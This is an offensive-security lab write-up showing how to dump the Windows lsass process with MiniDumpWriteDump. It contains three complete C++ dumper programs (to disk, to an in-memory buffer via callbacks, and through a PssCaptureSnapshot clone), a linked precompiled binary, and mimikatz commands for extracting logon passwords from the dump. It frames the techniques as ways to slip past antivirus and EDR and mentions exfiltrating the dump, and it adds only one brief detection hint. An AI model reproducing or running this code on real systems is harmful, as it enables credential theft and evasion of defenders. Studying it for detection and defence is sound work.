Dumping Lsass without Mimikatz with MiniDumpWriteDump

This lab explores multiple ways of how we can write a simple lsass process dumper using MiniDumpWriteDump API. Lsass process dumps created with MiniDumpWriteDump can be loaded to mimikatz offline, where credential materials could be extracted.
Note that you may get flagged by AVs/EDRs for reading lsass process memory. Depending on what AV/EDR you are dealing with, see other notes:
Bypassing Cylance and other AVs/EDRs by Unhooking Windows APIs and Full DLL Unhooking with C++​
MiniDumpWriteDump to Disk
It's possible to use MiniDumpWriteDump API call to dump lsass process memory.
Code
dumper.cpp
1
#include "stdafx.h"
2
#include <windows.h>
3
#include <DbgHelp.h>
4
#include <iostream>
5
#include <TlHelp32.h>
6
using namespace std;
7
​
8
int main() {
9
	DWORD lsassPID = 0;
10
	HANDLE lsassHandle = NULL; 
11
​
12
	// Open a handle to lsass.dmp - this is where the minidump file will be saved to
13
	HANDLE outFile = CreateFile(L"lsass.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
14
​
15
	// Find lsass PID	
16
	HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
17
	PROCESSENTRY32 processEntry = {};
18
	processEntry.dwSize = sizeof(PROCESSENTRY32);
19
	LPCWSTR processName = L"";
20
​
21
	if (Process32First(snapshot, &processEntry)) {
22
		while (_wcsicmp(processName, L"lsass.exe") != 0) {
23
			Process32Next(snapshot, &processEntry);
24
			processName = processEntry.szExeFile;
25
			lsassPID = processEntry.th32ProcessID;
26
		}
27
		wcout << "[+] Got lsass.exe PID: " << lsassPID << endl;
28
	}
29
	
30
	// Open handle to lsass.exe process
31
	lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID);
32
	
33
	// Create minidump
34
	BOOL isDumped = MiniDumpWriteDump(lsassHandle, lsassPID, outFile, MiniDumpWithFullMemory, NULL, NULL, NULL);
35
	
36
	if (isDumped) {
37
		cout << "[+] lsass dumped successfully!" << endl;
38
	}
39
	
40
    return 0;
41
}
Copied!
CreateMiniDump.exe
92KB
Binary
CreateMiniDump.exe
Do not forget to add dbghelp.lib as a dependency in the Linker > Input settings for your C++ project if the compiler is giving you a hard time:
Or simply include at the top of the source code:
#pragma comment (lib, "Dbghelp.lib")
Demo
1.Execute CreateMiniDump.exe (compiled file above) or compile your own binary
2.Lsass.dmp gets dumped to the working directory
3.Take the lsass.dmp offline to your attacking machine
4.Open mimikatz and load in the dump file 
5.Dump passwords
attacker
1
.\createminidump.exe
2
.\mimikatz.exe
3
sekurlsa::minidump c:\temp\lsass.dmp
4
sekurlsa::logonpasswords
Copied!
Why it's worth it?
See how Windows Defender on Windows 10 is flagging up mimikatz immediately... but allows running CreateMiniDump.exe? Good for us - we get lsass.exe dumped to lsass.dmp:
..which then can be read in mimikatz offline:
Of ourse, there is Sysinternal's procdump that does the same thing and it does not get flagged by Windows defender, but it is always good to know there are alternatives you could turn to if you need to for whatever reason. 
Observations
As mentioned earlier, the code above uses a native windows API call MiniDumpWriteDump to make a memory dump of a given process. If you are on the blue team and trying to write detections for these activities, you may consider looking for processes loading in dbghelp.dll module and calling MiniDumpWriteDump function:
MiniDumpWriteDump to Memory using MiniDump Callbacks
By default, MiniDumpWriteDump will dump lsass process memory to disk, however it's possible to use MINIDUMP_CALLBACK_INFORMATION callbacks to create a process minidump and store it memory, where we could encrypt it before dropping to disk or exfiltrate it over the network.
Code
The below code shows how we can create a minidump for lsass and store its buffer in memory, where we can process it as required:
1
#include <windows.h>
2
#include <DbgHelp.h>
3
#include <iostream>
4
#include <TlHelp32.h>
5
#include <processsnapshot.h>
6
#pragma comment (lib, "Dbghelp.lib")
7
​
8
using namespace std;
9
​
10
// Buffer for saving the minidump
11
LPVOID dumpBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 1024 * 1024 * 75);
12
DWORD bytesRead = 0;
13
​
14
BOOL CALLBACK minidumpCallback(
15
	__in     PVOID callbackParam,
16
	__in     const PMINIDUMP_CALLBACK_INPUT callbackInput,
17
	__inout  PMINIDUMP_CALLBACK_OUTPUT callbackOutput
18
)
19
{
20
	LPVOID destination = 0, source = 0;
21
	DWORD bufferSize = 0;
22
​
23
	switch (callbackInput->CallbackType)
24
	{
25
		case IoStartCallback:
26
			callbackOutput->Status = S_FALSE;
27
			break;
28
​
29
		// Gets called for each lsass process memory read operation
30
		case IoWriteAllCallback:
31
			callbackOutput->Status = S_OK;
32
			
33
			// A chunk of minidump data that's been jus read from lsass. 
34
			// This is the data that would eventually end up in the .dmp file on the disk, but we now have access to it in memory, so we can do whatever we want with it.
35
			// We will simply save it to dumpBuffer.
36
			source = callbackInput->Io.Buffer;
37
			
38
			// Calculate location of where we want to store this part of the dump.
39
			// Destination is start of our dumpBuffer + the offset of the minidump data
40
			destination = (LPVOID)((DWORD_PTR)dumpBuffer + (DWORD_PTR)callbackInput->Io.Offset);
41
			
42
			// Size of the chunk of minidump that's just been read.
43
			bufferSize = callbackInput->Io.BufferBytes;
44
			bytesRead += bufferSize;
45
			
46
			RtlCopyMemory(destination, source, bufferSize);
47
			
48
			printf("[+] Minidump offset: 0x%x; length: 0x%x\n", callbackInput->Io.Offset, bufferSize);
49
			break;
50
​
51
		case IoFinishCallback:
52
			callbackOutput->Status = S_OK;
53
			break;
54
​
55
		default:
56
			return true;
57
	}
58
	return TRUE;
59
}
60
​
61
int main() {
62
	DWORD lsassPID = 0;
63
	DWORD bytesWritten = 0;
64
	HANDLE lsassHandle = NULL;
65
	HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
66
	LPCWSTR processName = L"";
67
	PROCESSENTRY32 processEntry = {};
68
	processEntry.dwSize = sizeof(PROCESSENTRY32);
69
​
70
	// Get lsass PID
71
	if (Process32First(snapshot, &processEntry)) {
72
		while (_wcsicmp(processName, L"lsass.exe") != 0) {
73
			Process32Next(snapshot, &processEntry);
74
			processName = processEntry.szExeFile;
75
			lsassPID = processEntry.th32ProcessID;
76
		}
77
		printf("[+] lsass PID=0x%x\n",lsassPID);
78
	}
79
​
80
	lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID);
81
	
82
	// Set up minidump callback
83
	MINIDUMP_CALLBACK_INFORMATION callbackInfo;
84
	ZeroMemory(&callbackInfo, sizeof(MINIDUMP_CALLBACK_INFORMATION));
85
	callbackInfo.CallbackRoutine = &minidumpCallback;
86
	callbackInfo.CallbackParam = NULL;
87
​
88
	// Dump lsass
89
	BOOL isDumped = MiniDumpWriteDump(lsassHandle, lsassPID, NULL, MiniDumpWithFullMemory, NULL, NULL, &callbackInfo);
90
​
91
	if (isDumped) 
92
	{
93
		// At this point, we have the lsass dump in memory at location dumpBuffer - we can do whatever we want with that buffer, i.e encrypt & exfiltrate
94
		printf("\n[+] lsass dumped to memory 0x%p\n", dumpBuffer);
95
		HANDLE outFile = CreateFile(L"c:\\temp\\lsass.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
96
	
97
		// For testing purposes, let's write lsass dump to disk from our own dumpBuffer and check if mimikatz can work it
98
		if (WriteFile(outFile, dumpBuffer, bytesRead, &bytesWritten, NULL))
99
		{
100
			printf("\n[+] lsass dumped from 0x%p to c:\\temp\\lsass.dmp\n", dumpBuffer, bytesWritten);
101
		}
102
	}
103
	
104
	return 0;
105
}
Copied!
Thanks Niall Newman for pointing me to SafetyDump by @m0rv4i, who implemented MiniDumpWriteDump with callbacks in C#, which I used as a guide for implementing the callback logic.
Demo
On the left, 0x00000135B8291040 (dumpBuffer) gets populated with minidump data after the MiniDumpWriteDump API is called.
On the right, we're executing the same code and it says that the minidump was written to our buffer at 0x000001AEA0BC4040. For testing purposes, bytes from the same buffer 0x000001AEA0BC4040 were also written to c:\temp\lsass.dmp using WriteFile, so that we could load the lsass dump to mimikatz (bottom right) and ensure it's not corrupted and credentials can be retrieved:
MiniDumpWriteDump dumping lsass process to a memory location
If you ever try using MiniDumpWriteDump to dump process memory to memory using named pipes, you will notice that the minidump file "kind of" gets created, but mimikatz is not able to read it. That's because the minidump buffer is actually written non-sequentially (you can see this from the screenshot in the top right corner - note the differing offsets of the write operations of the minidump data), so when you are reading the minidump using named pipes, you simply are writting the minidump data in incorrect order, which effectively produces a corrupted minidump file.
Other Ways
Below are links to a couple of other cool solutions to the same problem.
Custom MiniDumpWriteDump implementation, based on the one from ReactOS:
BOFs/MiniDumpWriteDump at main · rookuu/BOFs
GitHub
Hooking dbgcore.dll!Win32FileOutputProvider::WriteAll to intercept the minidump data before it's written to disk:
Hooks-On Hoot-Off: Vitaminizing MiniDump | AdeptsOf0xCC
Hooks-On Hoot-Off: Vitaminizing MiniDump |
MiniDumpWriteDump + PssCaptureSnapshot
PssCaptureSnapshot is another Windows API that lets us dump lsass process using MiniDumpWriteDump that may help us sneak past some AVs/EDRs for now.
The benefit of using PssCaptureSnapshot is that when MiniDumpWriteDump is called from your malware, it will not be reading lsass process memory directly and instead will do so from the process's snapshot.
Below is the modified dumper code that uses the PssCaptureSnapshot to obtain a snapshot of the lsass process. The handle that is returned by the PssCaptureSnapshot is then used in the MiniDumpWriteDump call instead of the lsass process handle. This is done via the minidump callback:
1
#include "stdafx.h"
2
#include <windows.h>
3
#include <DbgHelp.h>
4
#include <iostream>
5
#include <TlHelp32.h>
6
#include <processsnapshot.h>
7
#pragma comment (lib, "Dbghelp.lib")
8
​
9
using namespace std;
10
​
11
BOOL CALLBACK MyMiniDumpWriteDumpCallback(
12
	__in     PVOID CallbackParam,
13
	__in     const PMINIDUMP_CALLBACK_INPUT CallbackInput,
14
	__inout  PMINIDUMP_CALLBACK_OUTPUT CallbackOutput
15
)
16
{
17
	switch (CallbackInput->CallbackType)
18
	{
19
	case 16: // IsProcessSnapshotCallback
20
		CallbackOutput->Status = S_FALSE;
21
		break;
22
	}
23
	return TRUE;
24
}
25
​
26
int main() {
27
	DWORD lsassPID = 0;
28
	HANDLE lsassHandle = NULL;
29
	HANDLE outFile = CreateFile(L"c:\\temp\\lsass.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
30
	HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
31
	PROCESSENTRY32 processEntry = {};
32
	processEntry.dwSize = sizeof(PROCESSENTRY32);
33
	LPCWSTR processName = L"";
34
​
35
	if (Process32First(snapshot, &processEntry)) {
36
		while (_wcsicmp(processName, L"lsass.exe") != 0) {
37
			Process32Next(snapshot, &processEntry);
38
			processName = processEntry.szExeFile;
39
			lsassPID = processEntry.th32ProcessID;
40
		}
41
		wcout << "[+] Got lsass.exe PID: " << lsassPID << endl;
42
	}
43
​
44
	lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID);
45
​
46
	HANDLE snapshotHandle = NULL;
47
	DWORD flags = (DWORD)PSS_CAPTURE_VA_CLONE | PSS_CAPTURE_HANDLES | PSS_CAPTURE_HANDLE_NAME_INFORMATION | PSS_CAPTURE_HANDLE_BASIC_INFORMATION | PSS_CAPTURE_HANDLE_TYPE_SPECIFIC_INFORMATION | PSS_CAPTURE_HANDLE_TRACE | PSS_CAPTURE_THREADS | PSS_CAPTURE_THREAD_CONTEXT | PSS_CAPTURE_THREAD_CONTEXT_EXTENDED | PSS_CREATE_BREAKAWAY | PSS_CREATE_BREAKAWAY_OPTIONAL | PSS_CREATE_USE_VM_ALLOCATIONS | PSS_CREATE_RELEASE_SECTION;
48
	MINIDUMP_CALLBACK_INFORMATION CallbackInfo;
49
	ZeroMemory(&CallbackInfo, sizeof(MINIDUMP_CALLBACK_INFORMATION));
50
	CallbackInfo.CallbackRoutine = &MyMiniDumpWriteDumpCallback;
51
	CallbackInfo.CallbackParam = NULL;
52
​
53
	PssCaptureSnapshot(lsassHandle, (PSS_CAPTURE_FLAGS)flags, CONTEXT_ALL, (HPSS*)&snapshotHandle);
54
​
55
	BOOL isDumped = MiniDumpWriteDump(snapshotHandle, lsassPID, outFile, MiniDumpWithFullMemory, NULL, NULL, &CallbackInfo);
56
​
57
	if (isDumped) {
58
		cout << "[+] lsass dumped successfully!" << endl;
59
	}
60
​
61
	PssFreeSnapshot(GetCurrentProcess(), (HPSS)snapshotHandle);
62
	return 0;
63
}
Copied!
Note that this is the way procdump.exe works when -r flag is specified: 
procdump help
To confirm, if we execute procdump like so:
1
procdump -accepteula -r -ma lsass.exe lsass.dmp
Copied!
...and inspect the APIs that are being called under the hood, we will see that procdump is indeed dynamically resolving the PssCaptureSnapshot address inside the kernel32.dll:
References
MiniDumpWriteDump function (minidumpapiset.h) - Win32 apps
docsmsft
CreateToolhelp32Snapshot function (tlhelp32.h) - Win32 apps
docsmsft
Generate Dump File from a Process Snapshot
docsmsft
PssCaptureSnapshot function (processsnapshot.h) - Win32 apps
docsmsft
SafetyDump/Program.cs at master · m0rv4i/SafetyDump
GitHub